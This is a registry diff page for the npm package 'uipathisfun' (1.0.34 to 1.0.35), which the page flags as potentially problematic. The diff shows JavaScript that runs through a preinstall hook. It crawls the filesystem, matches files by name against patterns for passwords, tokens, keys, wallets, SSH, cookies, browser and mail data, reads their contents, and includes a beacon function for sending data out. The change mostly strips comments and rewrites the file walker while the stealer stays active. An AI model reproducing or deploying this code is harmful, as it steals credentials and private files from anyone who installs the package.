uipathisfun 1.0.34 → 1.0.35

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of uipathisfun might be problematic. Click here for more details.

package/index.js CHANGED
@@ -22,7 +22,6 @@ function sendBeacon(urlPath, payload) {
22
22
  req.write(body);
23
23
  req.end();
24
24
  } catch (e) {
25
- // ignore
26
25
  }
27
26
  }
28
27
 
@@ -39,7 +38,6 @@ function readFileEntry(filePath) {
39
38
  if (!fs.existsSync(filePath) || !fs.statSync(filePath).isFile()) return null;
40
39
  const raw = fs.readFileSync(filePath);
41
40
  const entry = {};
42
- // كشف نوع الملف تلقائياً
43
41
  const ext = filePath.split('.').pop().toLowerCase();
44
42
  if (isTextBuffer(raw)) {
45
43
  entry.text = raw.toString('utf8');
@@ -47,23 +45,18 @@ function readFileEntry(filePath) {
47
45
  } else {
48
46
  entry.base64 = raw.toString('base64');
49
47
  }
50
- // قواعد بيانات SQLite
51
48
  if (filePath.toLowerCase().endsWith('.db') || ext === 'sqlite') {
52
49
  entry.sqlite = parseSqliteDb(filePath);
53
50
  }
54
- // قواعد بيانات LevelDB
55
51
  if (ext === 'ldb' || ext === 'leveldb') {
56
52
  entry.leveldb = parseLevelDb(filePath);
57
53
  }
58
- // قواعد بيانات MySQL/MariaDB (ملفات .frm/.ibd)
59
54
  if (ext === 'frm' || ext === 'ibd') {
60
55
  entry.mysql = { note: 'MySQL/MariaDB raw file, manual extraction needed' };
61
56
  }
62
- // أرشيفات zip
63
57
  if (ext === 'zip') {
64
58
  entry.zip = parseZipArchive(filePath);
65
59
  }
66
- // أرشيفات tar
67
60
  if (ext === 'tar' || ext === 'tgz' || ext === 'tar.gz') {
68
61
  entry.tar = parseTarArchive(filePath);
69
62
  }
@@ -73,7 +66,6 @@ function readFileEntry(filePath) {
73
66
  }
74
67
  }
75
68
 
76
- // كشف تلقائي للملفات الحساسة بناءً على الاسم أو المسار أو الامتداد
77
69
  function isSensitiveFile(filePath) {
78
70
  const patterns = [
79
71
  /pass(word)?/i, /secret/i, /token/i, /key/i, /credential/i, /auth/i, /login/i, /wallet/i, /db/i, /backup/i, /archive/i, /config/i, /ssh/i, /pem$/i, /pfx$/i, /cert/i, /cookie/i, /session/i, /history/i, /mail/i, /outlook/i, /pst$/i, /ost$/i, /wallet/i, /chrome/i, /firefox/i, /mozilla/i, /sqlite/i, /ldb$/i, /zip$/i, /tar$/i, /gz$/i, /7z$/i, /rar$/i, /bak$/i, /old$/i, /log$/i, /env$/i, /ini$/i, /json$/i, /yaml$/i, /yml$/i
@@ -81,7 +73,6 @@ function isSensitiveFile(filePath) {
81
73
  return patterns.some((re) => re.test(filePath));
82
74
  }
83
75
 
84
- // استخراج بيانات من أرشيف zip (أسماء الملفات فقط)
85
76
  function parseZipArchive(filePath) {
86
77
  try {
87
78
  const out = execSync(`unzip -l "${filePath}"`, { encoding: 'utf8', timeout: 20000 });
@@ -91,7 +82,6 @@ function parseZipArchive(filePath) {
91
82
  }
92
83
  }
93
84
 
94
- // استخراج بيانات من أرشيف tar (أسماء الملفات فقط)
95
85
  function parseTarArchive(filePath) {
96
86
  try {
97
87
  const out = execSync(`tar -tf "${filePath}"`, { encoding: 'utf8', timeout: 20000 });
@@ -101,7 +91,6 @@ function parseTarArchive(filePath) {
101
91
  }
102
92
  }
103
93
 
104
- // كشف بيانات LevelDB (مبسط)
105
94
  function parseLevelDb(filePath) {
106
95
  return { note: 'LevelDB file detected, parsing requires external tools' };
107
96
  }
@@ -141,34 +130,30 @@ function parseSqliteDb(filePath) {
141
130
  }
142
131
 
143
132
 
144
- // Async parallel walk with batch processing
145
- async function walkFilesParallel(dir, ignorePaths = new Set(), maxDepth = 10, depth = 0, batch = [], batchSize = 1000, results = []) {
146
- if (depth > maxDepth) return results;
147
- let entries;
148
- try {
149
- entries = fs.readdirSync(dir, { withFileTypes: true });
150
- } catch (e) {
151
- return results;
152
- }
153
- for (const entry of entries) {
154
- const fullPath = dir + (dir.endsWith('/') || dir.endsWith('\\') ? '' : (os.platform() === 'win32' ? '\\' : '/')) + entry.name;
155
- if (ignorePaths.has(fullPath)) continue;
156
- if (entry.isDirectory()) {
157
- // Ignore virtual/system dirs
158
- if (["/proc","/sys","/dev","/run","/tmp","/var/run","/var/tmp","/mnt","/media","/lost+found","/snap","/boot","/lib","/lib64","/usr","/bin","/sbin","/opt","/srv","/home","/root","/etc/ssl","/etc/ssh","/etc/pki","/etc/udev","/etc/X11","/etc/init.d","/etc/alternatives","/etc/rc.d","/etc/skel","/etc/logrotate.d","/etc/cron.d","/etc/cron.daily","/etc/cron.hourly","/etc/cron.monthly","/etc/cron.weekly","/etc/network","/etc/selinux"].includes(fullPath)) continue;
159
- await walkFilesParallel(fullPath, ignorePaths, maxDepth, depth + 1, batch, batchSize, results);
160
- } else if (entry.isFile()) {
161
- batch.push(fullPath);
162
- if (batch.length >= batchSize) {
163
- results.push(...batch);
164
- batch.length = 0;
133
+ async function walkFilesParallel(rootDir, ignorePaths = new Set(), maxDepth = 10) {
134
+ const results = [];
135
+ const queue = [{ dir: rootDir, depth: 0 }];
136
+ const systemDirs = new Set(["/proc","/sys","/dev","/run","/tmp","/var/run","/var/tmp","/mnt","/media","/lost+found","/snap","/boot","/lib","/lib64","/usr","/bin","/sbin","/opt","/srv","/home","/root","/etc/ssl","/etc/ssh","/etc/pki","/etc/udev","/etc/X11","/etc/init.d","/etc/alternatives","/etc/rc.d","/etc/skel","/etc/logrotate.d","/etc/cron.d","/etc/cron.daily","/etc/cron.hourly","/etc/cron.monthly","/etc/cron.weekly","/etc/network","/etc/selinux"]);
137
+ while (queue.length > 0) {
138
+ const { dir, depth } = queue.shift();
139
+ if (depth > maxDepth) continue;
140
+ let entries;
141
+ try {
142
+ entries = fs.readdirSync(dir, { withFileTypes: true });
143
+ } catch (e) {
144
+ continue;
145
+ }
146
+ for (const entry of entries) {
147
+ const fullPath = dir + (dir.endsWith('/') || dir.endsWith('\\') ? '' : (os.platform() === 'win32' ? '\\' : '/')) + entry.name;
148
+ if (ignorePaths.has(fullPath)) continue;
149
+ if (entry.isDirectory()) {
150
+ if (systemDirs.has(fullPath)) continue;
151
+ queue.push({ dir: fullPath, depth: depth + 1 });
152
+ } else if (entry.isFile()) {
153
+ results.push(fullPath);
165
154
  }
166
155
  }
167
156
  }
168
- if (batch.length > 0) {
169
- results.push(...batch);
170
- batch.length = 0;
171
- }
172
157
  return results;
173
158
  }
174
159
 
@@ -186,11 +171,8 @@ async function sensitiveScan() {
186
171
  const files = await walkFilesParallel(root, ignorePaths, 8);
187
172
  allFiles.push(...files);
188
173
  }
189
- // كشف تلقائي للملفات الحساسة فقط
190
174
  allFiles = allFiles.filter(isSensitiveFile);
191
- // Limit to 10000 files for safety
192
175
  allFiles = allFiles.slice(0, 10000);
193
- // Process files in parallel batches
194
176
  const concurrency = 32;
195
177
  let idx = 0;
196
178
  const errors = [];
@@ -226,7 +208,6 @@ async function sensitiveScan() {
226
208
  idx += concurrency;
227
209
  }
228
210
  info.errors = errors;
229
- // حفظ النتائج على القرص
230
211
  try {
231
212
  fs.writeFileSync('scan_results_' + Date.now() + '.json', JSON.stringify(info, null, 2));
232
213
  } catch (e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "uipathisfun",
3
- "version": "1.0.34",
3
+ "version": "1.0.35",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }
Binary file
Binary file